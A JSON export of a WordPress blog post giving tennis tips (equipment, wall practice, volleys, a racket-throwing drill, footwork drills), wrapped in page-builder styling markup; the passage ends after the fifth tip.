{"id":4789,"date":"2016-07-08T21:42:29","date_gmt":"2016-07-08T16:12:29","guid":{"rendered":"https:\/\/spyn.co\/blog\/?p=4789"},"modified":"2018-05-01T06:20:47","modified_gmt":"2018-05-01T00:50:47","slug":"10-tips-play-better-tennis","status":"publish","type":"post","link":"https:\/\/spyn.co\/blog\/10-tips-play-better-tennis\/","title":{"rendered":"10 Tips to play better tennis"},"content":{"rendered":"\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-0be213ed2862135e0406d2c14ca6d84d\">\n.avia-section.av-av_section-0be213ed2862135e0406d2c14ca6d84d{\nbackground-color:#666666;\nbackground-image:url(https:\/\/spyn.co\/blog\/wp-content\/uploads\/cover-4.jpg);\nbackground-repeat:no-repeat;\nbackground-position:50% 50%;\nbackground-attachment:scroll;\n}\n.avia-section.av-av_section-0be213ed2862135e0406d2c14ca6d84d .av-section-color-overlay{\nopacity:0.5;\nbackground-color:#000000;\n}\n<\/style>\n<div id='banner'  class='avia-section av-av_section-0be213ed2862135e0406d2c14ca6d84d main_color avia-section-no-padding avia-no-border-styling  avia-builder-el-0  el_before_av_section  avia-builder-el-first  avia-full-stretch avia-bg-style-scroll av-section-color-overlay-active av-minimum-height av-minimum-height-75 av-height-75  container_wrap fullsize'  data-section-bg-repeat='stretch' data-av_minimum_height_pc='75' data-av_min_height_opt='75'><div class=\"av-section-color-overlay-wrap\"><div class=\"av-section-color-overlay\"><\/div><div class='container av-section-cont-open' ><main  role=\"main\" itemprop=\"mainContentOfPage\"  class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4789'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-d594c137e7f3deef33a694a2d9fdcf3f\">\n#top .av-special-heading.av-av_heading-d594c137e7f3deef33a694a2d9fdcf3f{\npadding-bottom:10px;\ncolor:#ffffff;\nfont-size:50px;\n}\nbody .av-special-heading.av-av_heading-d594c137e7f3deef33a694a2d9fdcf3f .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n#top #wrap_all .av-special-heading.av-av_heading-d594c137e7f3deef33a694a2d9fdcf3f .av-special-heading-tag{\nfont-size:50px;\n}\n.av-special-heading.av-av_heading-d594c137e7f3deef33a694a2d9fdcf3f .special-heading-inner-border{\nborder-color:#ffffff;\n}\n.av-special-heading.av-av_heading-d594c137e7f3deef33a694a2d9fdcf3f .av-subheading{\nfont-size:15px;\n}\n\n@media only screen and (min-width: 480px) and (max-width: 767px){ \n#top #wrap_all .av-special-heading.av-av_heading-d594c137e7f3deef33a694a2d9fdcf3f .av-special-heading-tag{\nfont-size:0.8em;\n}\n}\n\n@media only screen and (max-width: 479px){ \n#top #wrap_all .av-special-heading.av-av_heading-d594c137e7f3deef33a694a2d9fdcf3f .av-special-heading-tag{\nfont-size:0.8em;\n}\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-d594c137e7f3deef33a694a2d9fdcf3f av-special-heading-h1 custom-color-heading blockquote modern-quote modern-centered  avia-builder-el-1  el_before_av_hr  avia-builder-el-first  av-inherit-size'><h1 class='av-special-heading-tag '  itemprop=\"headline\"  >10 Tips to Play Better Tennis<\/h1><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_hr-0688d0b0b6ed2f8b057db7a8270206df\">\n#top .hr.hr-invisible.av-av_hr-0688d0b0b6ed2f8b057db7a8270206df{\nheight:50px;\n}\n<\/style>\n<div  class='hr av-av_hr-0688d0b0b6ed2f8b057db7a8270206df hr-invisible  avia-builder-el-2  el_after_av_heading  el_before_av_textblock '><span class='hr-inner '><span class=\"hr-inner-style\"><\/span><\/span><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_textblock-5621182bd2592f898ca26ee7672df748\">\n#top .av_textblock_section.av-av_textblock-5621182bd2592f898ca26ee7672df748 .avia_textblock{\nfont-size:12px;\ncolor:#e2e2e2;\n}\n<\/style>\n<section  class='av_textblock_section av-av_textblock-5621182bd2592f898ca26ee7672df748 '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock av_inherit_color'  itemprop=\"text\" ><p style=\"text-align: center\"><em>Author &#8211; Tejasvi Lohia<\/em><\/p>\n<p style=\"text-align: center\"><em>(Reading time ~2 mins)<\/em><\/p>\n<\/div><\/section>\n\n<\/div><\/div><\/main><!-- close content main element --><\/div><\/div><\/div><div id='av_section_2'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-4  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4789'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-5  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-6  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Want to get better at tennis? The following are a few tips and tricks that can help you improve your game.<\/p>\n<\/div><\/section><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_hr-0688d0b0b6ed2f8b057db7a8270206df\">\n#top .hr.hr-invisible.av-av_hr-0688d0b0b6ed2f8b057db7a8270206df{\nheight:50px;\n}\n<\/style>\n<div  class='hr av-av_hr-0688d0b0b6ed2f8b057db7a8270206df hr-invisible  avia-builder-el-8  el_after_av_textblock  el_before_av_heading '><span class='hr-inner '><span class=\"hr-inner-style\"><\/span><\/span><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-25ee4157978c528f9e0ed408cb28dd1d\">\n#top .av-special-heading.av-av_heading-25ee4157978c528f9e0ed408cb28dd1d{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-25ee4157978c528f9e0ed408cb28dd1d .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-25ee4157978c528f9e0ed408cb28dd1d .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-25ee4157978c528f9e0ed408cb28dd1d av-special-heading-h3 blockquote modern-quote  avia-builder-el-9  el_after_av_hr  el_before_av_image '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >1. Right Equipment:<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-67dff0fad355370515518dc6ce253765\">\n.avia-image-container.av-av_image-67dff0fad355370515518dc6ce253765 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-67dff0fad355370515518dc6ce253765 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-67dff0fad355370515518dc6ce253765 av-styling- avia-align-center  avia-builder-el-10  el_after_av_heading  el_before_av_textblock '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-4795 avia-img-lazy-loading-not-4795 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/EQUIPMENT.jpg\" alt='' title='EQUIPMENT'  height=\"420\" width=\"800\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/EQUIPMENT.jpg 800w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/EQUIPMENT-300x158.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/EQUIPMENT-768x403.jpg 768w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/EQUIPMENT-705x370.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/EQUIPMENT-450x236.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/EQUIPMENT-128x67.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/EQUIPMENT-32x17.jpg 32w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Make sure you have the right equipment. Don\u2019t play with the wrong racket (<a href=\"http:\/\/www.blog.spyn.co\/choosing-tennis-racket\/\">Here<\/a> is a guide to choose the right one).\u00a0You won\u2019t be playing optimally, and injuries may ensue. Make sure the grip of your racket is right. Also, don\u2019t wear a new pair of shoes for an important match (even if they are the same as your old one). It is important for your feet to get used to the pair.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-12  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div><\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_3'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-13  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4789'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-14  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-15  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-49d7550800fae51b1432c408455f6556\">\n#top .av-special-heading.av-av_heading-49d7550800fae51b1432c408455f6556{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-49d7550800fae51b1432c408455f6556 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-49d7550800fae51b1432c408455f6556 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-49d7550800fae51b1432c408455f6556 av-special-heading-h3 blockquote modern-quote  avia-builder-el-16  el_before_av_image  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >2. Practicing against the wall: <\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-4038d45412874c66b92767f5e29dc7f9\">\n.avia-image-container.av-av_image-4038d45412874c66b92767f5e29dc7f9 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-4038d45412874c66b92767f5e29dc7f9 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-4038d45412874c66b92767f5e29dc7f9 av-styling- avia-align-center  avia-builder-el-17  el_after_av_heading  el_before_av_textblock '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-4798 avia-img-lazy-loading-not-4798 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-845x684.jpg\" alt='' title='tennis'  height=\"684\" width=\"845\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-845x684.jpg 845w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-495x400.jpg 495w\" sizes=\"(max-width: 845px) 100vw, 845px\" \/><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Practice your drills and different shots against the wall. The ball is always going to come back to you. It will help you get a hang of both, the technique and the speed required.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-19  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n<\/p>\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_4'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-20  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4789'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-21  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-22  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-4fff05e68047e20b88652b5fe480f17b\">\n#top .av-special-heading.av-av_heading-4fff05e68047e20b88652b5fe480f17b{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-4fff05e68047e20b88652b5fe480f17b .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-4fff05e68047e20b88652b5fe480f17b .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-4fff05e68047e20b88652b5fe480f17b av-special-heading-h3 blockquote modern-quote  avia-builder-el-23  el_before_av_image  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >3. Improve your volleys: <\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-05fd60336b5e704f8d7e266706001fba\">\n.avia-image-container.av-av_image-05fd60336b5e704f8d7e266706001fba img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-05fd60336b5e704f8d7e266706001fba .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-05fd60336b5e704f8d7e266706001fba av-styling- avia-align-center  avia-builder-el-24  el_after_av_heading  el_before_av_textblock '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-4806 avia-img-lazy-loading-not-4806 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/volley.jpg\" alt='volley' title='volley'  height=\"572\" width=\"800\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/volley.jpg 800w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/volley-300x215.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/volley-768x549.jpg 768w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/volley-260x185.jpg 260w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/volley-705x504.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/volley-450x322.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/volley-128x92.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/volley-32x23.jpg 32w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Keep your rackets in front of your body, that way you\u2019ll be prepared and make better contact. You can practice volley against the wall too.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-26  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_5'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-27  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4789'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-28  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-29  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-afb56a812d6368ac10cbea3bbdcd0536\">\n#top .av-special-heading.av-av_heading-afb56a812d6368ac10cbea3bbdcd0536{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-afb56a812d6368ac10cbea3bbdcd0536 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-afb56a812d6368ac10cbea3bbdcd0536 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-afb56a812d6368ac10cbea3bbdcd0536 av-special-heading-h3 blockquote modern-quote  avia-builder-el-30  el_before_av_textblock  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >4. Throw the Racket: <\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><\/div><\/section><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Take an old racket, go to a lawn and throw it as far as possible in the same swing as if hitting the ball. It helps improve ground stroke.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-33  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_6'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-34  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4789'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-35  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-36  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-e5ab692825c90327144bb7cf7ea5ca7d\">\n#top .av-special-heading.av-av_heading-e5ab692825c90327144bb7cf7ea5ca7d{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-e5ab692825c90327144bb7cf7ea5ca7d .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-e5ab692825c90327144bb7cf7ea5ca7d .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-e5ab692825c90327144bb7cf7ea5ca7d av-special-heading-h3 blockquote modern-quote  avia-builder-el-37  el_before_av_image  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >5. Trick to improve your footwork: <\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-1e94cb73a4978466514e2cb364b7cf41\">\n.avia-image-container.av-av_image-1e94cb73a4978466514e2cb364b7cf41 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-1e94cb73a4978466514e2cb364b7cf41 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-1e94cb73a4978466514e2cb364b7cf41 av-styling- avia-align-center  avia-builder-el-38  el_after_av_heading  el_before_av_textblock '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-4797 avia-img-lazy-loading-not-4797 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/spider_web1.png\" alt='' title='spider_web1'  height=\"300\" width=\"600\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/spider_web1.png 600w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/spider_web1-300x150.png 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/spider_web1-450x225.png 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/spider_web1-128x64.png 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/spider_web1-32x16.png 32w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Jogging will give you endurance, but you need to work on your speed. Practice sprinting at short distances; sprint for 15 seconds and rest for 15 seconds. Another drill is\u00a0to\u00a0start at the baseline center, shuffle sideways to the left corner (of the baseline and singles side line), then shuffle along the baseline to the other corner (right). Get back to the baseline center and\u00a0sprint to the left corner of service line and singles side line; from there back pedal to baseline center (As shown in the image). Time your self and sets target to improve your footwork.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-40  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_7'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-41  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4789'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" 